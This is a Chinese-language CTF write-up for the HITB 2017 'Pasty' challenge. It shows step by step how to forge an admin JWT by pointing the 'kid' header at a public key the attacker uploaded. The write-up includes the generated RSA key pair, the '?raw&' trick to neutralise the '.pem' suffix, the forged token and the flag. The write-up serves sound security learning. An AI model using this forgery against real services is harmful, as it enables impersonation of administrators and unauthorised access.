Chybeta

HITB CTF 2017-Pasty-writeup

HITB CTF 2017-Pasty-writeup

JWT安全性问题

Task

1
2
Can you find the administrator's secret message?
http://47.74.147.52:20012

Solution

先看看基本功能。
注册:

登陆:

写paste,保存:

可以对保存的paste进行下载:

可以看到注册后返回了一大串的字符串,之后写paste保存时即以这个字符串作为身份认证。

1
eyJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxIiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYifQ.eyJzdWIiOiJjaHliZXRhIn0.nlSBeeMh5XvdSjs0j_Rs71n0EGBYfrzKfkDq2vnR4jrgYiHCzlZ4R2uwsn0mf3Cpqis6bSAxqB-FR1Af5KYFZe6X_gWf57du4JmPfueHumijptaEJ6Ym23AcIS0HoFSV45PoTv6McEf6vvd0SG7SdECoFv97MCl3mMraedyTCy5p1WJ0ssnOs886Noyn5ak01Eeoi3WA3lVMGflIAft_uIx0pRlUZrkB3WWNYMsecWS9ih1fpMvb-cUYP5s6T_QjW68mQ40QArKa7iRDm3IhNipRa_RmziwPdo1Nh2l0kGGALpBhd1kqh8KdEbp2Kz_sPza6O-iJBX88ImeMEgXI5A

刚接触时不知道是啥,就拿去用base64解了一下,虽然解出来后后面出现了一大堆的乱码,不过前面解出来入下:

1
{"kid":"keys/3c3c2ea1c3f113f649dc9389dd71b851","typ":"JWT","alg":"RS256"}

然后就开始查找关于JWT的资料了。在 https://jwt.io/ 上可以对字符串进行debugger。

JWT由三部分组成。第一部分是头部,原始信息是json格式,包含使用的算法(alg),类型(typ),可选的kids字段,将头部原始信息进行base64编码后得到了第一部分字段:

1
eyJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxIiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYifQ

第二部分是payload,原始信息是json格式,包含一些重要信息,比如本题中是"sub": "chybeta",这对应着账号的用户,将这部分原始信息进行base64编码后得到第二部分字段:

1
eyJzdWIiOiJjaHliZXRhIn0

第三部分,将第一部分和第二部分字段用点号.连接后根据第一部分里的alg算法进行签名。在本题中采用的是RS256算法:

1
nlSBeeMh5XvdSjs0j_Rs71n0EGBYfrzKfkDq2vnR4jrgYiHCzlZ4R2uwsn0mf3Cpqis6bSAxqB-FR1Af5KYFZe6X_gWf57du4JmPfueHumijptaEJ6Ym23AcIS0HoFSV45PoTv6McEf6vvd0SG7SdECoFv97MCl3mMraedyTCy5p1WJ0ssnOs886Noyn5ak01Eeoi3WA3lVMGflIAft_uIx0pRlUZrkB3WWNYMsecWS9ih1fpMvb-cUYP5s6T_QjW68mQ40QArKa7iRDm3IhNipRa_RmziwPdo1Nh2l0kGGALpBhd1kqh8KdEbp2Kz_sPza6O-iJBX88ImeMEgXI5A

在服务器返回给我们的头部信息中,有一个是:

1
"kid":"keys/3c3c2ea1c3f113f649dc9389dd71b851"

关于kid字段(key ID),它指定了用哪一个key来加密。可以看看这里:What’s the meaning of the “kid” claim in a JWT token?

访问:

1
http://47.74.147.52:20012/keys/

可以发现里面有许多pem公钥,我们字段相符合即为3c3c2ea1c3f113f649dc9389dd71b851.pem。

结合头部的alg信息,我们知道它采用的是SH256即sha256签名,这种方式下,发送方(即我们)要用私钥对签名进行加密,接收方(即服务器端)用公钥进行解密,而从头部kid字段知道,公钥的地址实际上是我们可以指定的。所以攻击流程如下:

  1. 我们先生成公钥私钥对。
  2. 用公钥私钥在 jwt.io 上进行签名伪造jwt,其中kid字段指明我们公钥的地址。
  3. 服务器端收到jwt后,用kid字段地址中的公钥进行解密,由于公钥和私钥是我们伪造的,所以解密是能成功的。
  4. 拿flag。

利用openssl生成公钥私钥对。
公钥:

1
2
3
4
5
6
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCdgyNwNiMLtNqIp9y/Iz5q7jsE
rbxerAjPzF+vkAhbMEZb0+3LzK22kE6ArHBtDeME0gxCM1dBZgXVZ0Mg+yyKnUIv
Co9mGCJ7rFsw9BAOIAGGu3pnwr5CDt05qTsarlDxZ1BBsSnH51OtYZvyclGSuPpb
xW+zblOEFj0443zTRwIDAQAB
-----END PUBLIC KEY-----

私钥:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
-----BEGIN RSA PRIVATE KEY-----
MIICXAIBAAKBgQCdgyNwNiMLtNqIp9y/Iz5q7jsErbxerAjPzF+vkAhbMEZb0+3L
zK22kE6ArHBtDeME0gxCM1dBZgXVZ0Mg+yyKnUIvCo9mGCJ7rFsw9BAOIAGGu3pn
wr5CDt05qTsarlDxZ1BBsSnH51OtYZvyclGSuPpbxW+zblOEFj0443zTRwIDAQAB
AoGAVfIodCIWHV0hoU929BSXCmHTckoabs4QQNKTo4hEBv3gZlrNdlbIssUrEKsG
7XqWVRsH9VduVREGPduKlYR4WI8yPrjUygUuH7GyrC2w44VtCZQ+3zLObknC7RuA
+DBWgpMTBNF2f3Tpsj6kkSZXN97X1jS9azUkK1uxeJcG8YECQQDI6s3CjTPwQlr3
h9kxEFPZDIbqjJjWjzY9CFP+A1nOOsrOjNSj9Mf+Qv/n6oLglLopzSu2hM7Iozwg
7EBjWiYrAkEAyLH/ROQNFmgrBC+QV7HUsOdgQDPiCftEADZSm+IMzpItoTMMHhQB
UVjJl8TLd8qajItN+mOBb6Eoddq7u5X1VQJAevvff1tXk5XKgQJS3EmWSaH1Y9U0
KQH4vVs/rpj2e9pZEh36e3H2iZkRdDCEdFwVqEjCnTKmMQJaZ/y1XRttiQJBAJca
pSZ6SXxIW7LgGN5d7tRusGJGbfaz7sP2IoZpUNkq6B4JcCMpTsCvh8C0E7mSmoAc
1k4iIy8n+G2bjWM0Ca0CQHHZ/PXOoCKCGi8mB98pdB36VjbTX81giIboYJXhbVeu
vXvP1EUuGsjDfk+bX1oFxgauqOA7i7oY+sN5JNdO5Fk=
-----END RSA PRIVATE KEY-----

用之前注册的账号写一个paste,内容为公钥

利用下载功能获取到公钥的保存地址,这里为 /api/paste/fcb82912-1c84-4ce6-9713-755d5f142066?raw。

我们想要让服务器端用我们的公钥来加密,所以在伪造jwt的头部的kid字段应为:

1
"kid":"/api/paste/fcb82912-1c84-4ce6-9713-755d5f142066?raw"

但是由前面观察keys文件夹知道,服务器端会把传进来的url后面加上.pem。即"kid":"keys/3c3c2ea1c3f113f649dc9389dd71b851"会变成去访问keys/3c3c2ea1c3f113f649dc9389dd71b851.pem

可以在?raw后面加上一个&,这样加上去后的.pem不会变成后缀而是被当成一个参数。访问 http://47.74.147.52:20012/api/paste/fcb82912-1c84-4ce6-9713-755d5f142066?raw&.pem 即访问 http://47.74.147.52:20012/api/paste/fcb82912-1c84-4ce6-9713-755d5f142066?raw ,即我们paste/公钥的保存地址。

接下来用 https://jwt.io/ 来生成伪造的jwt。由于要伪造admin,所以sub字段要修改为admin。在公钥和私钥部分填上我们生成的公钥和私钥,在头部kid字段填上公钥的地址。

得到:

1
eyJraWQiOiJhcGkvcGFzdGUvZmNiODI5MTItMWM4NC00Y2U2LTk3MTMtNzU1ZDVmMTQyMDY2P3JhdyYiLCJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJhZG1pbiJ9.IW5dnvpZAnsmIb4CrAPdwcTApLMzuB4LaDZxzm6nLwRKp4H6SCZUuPi71daWstfUDEGxMmBucTnHmaBCb4VZfxMrKDx0G27J-yJGW-SpGE9j61Punpv0vTaVw0H5SVkU6IZud_OvVWIe6vf_ffmup0Mou7GpCvOn6fUg6XYk8O0

之后在每次操作中,要记得把Authorization字段替换成对应的伪造jwt。

flag:

1
HITB{b128a14885c4974c4a7016eb1d79aae6}

微信扫码加入知识星球【漏洞百出】
chybeta WeChat Pay

点击图片放大,扫码知识星球【漏洞百出】

本文标题:HITB CTF 2017-Pasty-writeup

文章作者:chybeta

发布时间:2017年08月29日 - 07:08

最后更新:2017年08月29日 - 09:08

原始链接:http://chybeta.github.io/2017/08/29/HITB-CTF-2017-Pasty-writeup/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。